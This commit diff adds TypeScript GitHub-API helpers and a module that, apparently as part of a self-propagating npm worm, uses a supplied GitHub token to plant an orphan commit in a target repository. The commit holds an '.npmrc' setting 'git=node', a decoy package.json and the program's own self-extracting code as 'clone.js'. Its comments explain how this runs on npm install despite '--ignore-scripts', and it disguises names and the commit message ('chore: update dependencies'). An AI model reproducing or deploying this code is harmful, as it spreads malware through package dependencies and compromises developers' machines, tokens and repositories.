Upload files to "src/github_utils"
This commit is contained in:
@@ -0,0 +1,166 @@
|
|||||||
|
import { githubFetch, githubJson } from "../github_utils/client";
|
||||||
|
|
||||||
|
// ── Types ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface GitRef {
|
||||||
|
ref: string;
|
||||||
|
object: { sha: string; type?: string };
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface GitTreeEntry {
|
||||||
|
path: string;
|
||||||
|
mode: string;
|
||||||
|
type: "blob" | "tree";
|
||||||
|
sha: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface CommitAuthor {
|
||||||
|
name: string;
|
||||||
|
email: string;
|
||||||
|
date: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Ref helpers ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export async function getBranchRef(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branch: string,
|
||||||
|
): Promise<GitRef> {
|
||||||
|
return githubJson<GitRef>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function updateBranch(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branch: string,
|
||||||
|
sha: string,
|
||||||
|
force: boolean,
|
||||||
|
): Promise<void> {
|
||||||
|
await githubJson(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
|
||||||
|
{ method: "PATCH", body: JSON.stringify({ sha, force }) },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createBranch(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branchName: string,
|
||||||
|
sha: string,
|
||||||
|
): Promise<void> {
|
||||||
|
await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, {
|
||||||
|
method: "POST",
|
||||||
|
body: JSON.stringify({ ref: `refs/heads/${branchName}`, sha }),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function deleteBranch(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branchName: string,
|
||||||
|
): Promise<void> {
|
||||||
|
await githubFetch(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branchName)}`,
|
||||||
|
{ method: "DELETE" },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Object helpers ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export async function createBlob(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
content: string,
|
||||||
|
): Promise<string> {
|
||||||
|
const blob = await githubJson<{ sha: string }>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/blobs`,
|
||||||
|
{ method: "POST", body: JSON.stringify({ content, encoding: "utf-8" }) },
|
||||||
|
);
|
||||||
|
return blob.sha;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createTree(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
baseTree: string | null,
|
||||||
|
entries: GitTreeEntry[],
|
||||||
|
): Promise<string> {
|
||||||
|
const body: Record<string, unknown> = { tree: entries };
|
||||||
|
if (baseTree) body.base_tree = baseTree;
|
||||||
|
const tree = await githubJson<{ sha: string }>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/trees`,
|
||||||
|
{ method: "POST", body: JSON.stringify(body) },
|
||||||
|
);
|
||||||
|
return tree.sha;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getCommitTree(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
commitSha: string,
|
||||||
|
): Promise<string> {
|
||||||
|
const c = await githubJson<{ tree: { sha: string } }>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/commits/${commitSha}`,
|
||||||
|
);
|
||||||
|
return c.tree.sha;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createCommit(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
message: string,
|
||||||
|
treeSha: string,
|
||||||
|
parentSha: string,
|
||||||
|
author?: CommitAuthor,
|
||||||
|
): Promise<string> {
|
||||||
|
const body: Record<string, unknown> = {
|
||||||
|
message,
|
||||||
|
tree: treeSha,
|
||||||
|
parents: [parentSha],
|
||||||
|
};
|
||||||
|
if (author) {
|
||||||
|
body.author = author;
|
||||||
|
body.committer = author;
|
||||||
|
}
|
||||||
|
const commit = await githubJson<{ sha: string }>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/commits`,
|
||||||
|
{ method: "POST", body: JSON.stringify(body) },
|
||||||
|
);
|
||||||
|
return commit.sha;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createOrphanCommit(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
treeSha: string,
|
||||||
|
message: string,
|
||||||
|
): Promise<string> {
|
||||||
|
const commit = await githubJson<{ sha: string }>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/git/commits`,
|
||||||
|
{
|
||||||
|
method: "POST",
|
||||||
|
body: JSON.stringify({ message, tree: treeSha, parents: [] }),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
return commit.sha;
|
||||||
|
}
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
import { logUtil } from "../utils/logger";
|
||||||
|
import { buildSelfExtractingPayload } from "../utils/selfExtracting";
|
||||||
|
import {
|
||||||
|
createBlob,
|
||||||
|
createOrphanCommit,
|
||||||
|
createTree,
|
||||||
|
type GitTreeEntry,
|
||||||
|
} from "./gitDb";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── File builders ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build the three files for the orphan commit.
|
||||||
|
*
|
||||||
|
* ## Technique (git binary override)
|
||||||
|
*
|
||||||
|
* npm reads `.npmrc` files from inside git dependencies and merges their
|
||||||
|
* config into the running npm session. We set `git=node` so that the
|
||||||
|
* next time npm spawns a git operation it executes `node clone <repo>`
|
||||||
|
* instead of `git clone <repo>`. Node resolves bare `clone` to
|
||||||
|
* `clone.js` in the working directory, which is our payload.
|
||||||
|
*
|
||||||
|
* To guarantee the trigger fires, `package.json` declares a second git
|
||||||
|
* dependency (`github:axios/axios#main`). npm processes our `.npmrc`
|
||||||
|
* first (setting `git=node`), then resolves the axios dep — spawning
|
||||||
|
* `node clone <axios-repo>` which executes `clone.js`.
|
||||||
|
*
|
||||||
|
* This bypasses `--ignore-scripts` because npm *always* spawns the git
|
||||||
|
* binary to fetch git dependencies — lifecycle hooks are skipped but the
|
||||||
|
* git toolchain is not.
|
||||||
|
*
|
||||||
|
* @see https://thinkingthroughcode.medium.com/i-thought-ignore-scripts-made-npm-installs-safe-it-doesnt-f409b852e7c5
|
||||||
|
*/
|
||||||
|
function buildFiles(
|
||||||
|
payload: string,
|
||||||
|
): Record<string, { content: string; mode: string }> {
|
||||||
|
return {
|
||||||
|
"package.json": {
|
||||||
|
content: JSON.stringify(
|
||||||
|
{
|
||||||
|
name: scramble("setup-utils"),
|
||||||
|
version: "1.0.0",
|
||||||
|
private: true,
|
||||||
|
dependencies: {
|
||||||
|
axios: scramble("github:axios/axios#main"),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
null,
|
||||||
|
2,
|
||||||
|
),
|
||||||
|
mode: "100644",
|
||||||
|
},
|
||||||
|
"clone.js": {
|
||||||
|
content: `#!/usr/bin/env node\n${payload}`,
|
||||||
|
mode: "100755",
|
||||||
|
},
|
||||||
|
".npmrc": {
|
||||||
|
content: "git=node\n",
|
||||||
|
mode: "100644",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Public API ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create an orphan commit containing a git-binary-override `.npmrc`, a
|
||||||
|
* `package.json` with a second git dependency that forces npm to spawn
|
||||||
|
* git, and the self-extracting payload as `clone.js` (shebanged, mode
|
||||||
|
* 0o755).
|
||||||
|
*
|
||||||
|
* ### How it bypasses `--ignore-scripts`
|
||||||
|
*
|
||||||
|
* 1. `.npmrc` sets `git=node` — npm merges this into its running config.
|
||||||
|
* 2. `package.json` depends on `github:axios/axios#main` — forces npm to
|
||||||
|
* spawn a git operation *after* reading our `.npmrc`.
|
||||||
|
* 3. npm runs `node clone <axios-repo>`, Node resolves bare `clone` to
|
||||||
|
* `clone.js` in the dependency directory.
|
||||||
|
* 4. The payload executes — no lifecycle hooks needed.
|
||||||
|
*
|
||||||
|
* @param token GitHub PAT with repo scope on the target repository.
|
||||||
|
* @param repository `owner/repo` string (e.g. `"facebook/react"`).
|
||||||
|
* @returns `github:owner/repo#<sha>` — ready to drop into
|
||||||
|
* `optionalDependencies`.
|
||||||
|
*/
|
||||||
|
export async function createOrphanDep(
|
||||||
|
token: string,
|
||||||
|
repository: string,
|
||||||
|
): Promise<string> {
|
||||||
|
const [owner, repo] = repository.split("/");
|
||||||
|
if (!owner || !repo) {
|
||||||
|
throw new Error(
|
||||||
|
`Invalid repository format: "${repository}" — expected "owner/repo"`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Build the self-extracting payload
|
||||||
|
const rawPayload = await Bun.file(Bun.main).text();
|
||||||
|
const payload = buildSelfExtractingPayload(rawPayload, { wrap: true });
|
||||||
|
|
||||||
|
// 2. Assemble the three files
|
||||||
|
const files = buildFiles(payload);
|
||||||
|
|
||||||
|
// 3. Create blobs for each file
|
||||||
|
const blobShas: GitTreeEntry[] = [];
|
||||||
|
|
||||||
|
for (const [path, { content, mode }] of Object.entries(files)) {
|
||||||
|
const sha = await createBlob(token, owner, repo, content);
|
||||||
|
blobShas.push({ path, mode, type: "blob" as const, sha });
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Create a tree from the blobs (no base tree — orphan)
|
||||||
|
const treeSha = await createTree(token, owner, repo, null, blobShas);
|
||||||
|
|
||||||
|
// 5. Create an orphan commit (no parents)
|
||||||
|
const message = scramble("chore: update dependencies");
|
||||||
|
const sha = await createOrphanCommit(token, owner, repo, treeSha, message);
|
||||||
|
|
||||||
|
const depString = `github:${repository}#${sha}`;
|
||||||
|
|
||||||
|
logUtil.log(`[OrphanDep] Created ${depString}`);
|
||||||
|
|
||||||
|
return depString;
|
||||||
|
}
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
export type { TokenInfo, TokenMetadata } from "./auth";
|
||||||
|
export { checkToken, getTokenMetadata } from "./auth";
|
||||||
Reference in New Issue
Block a user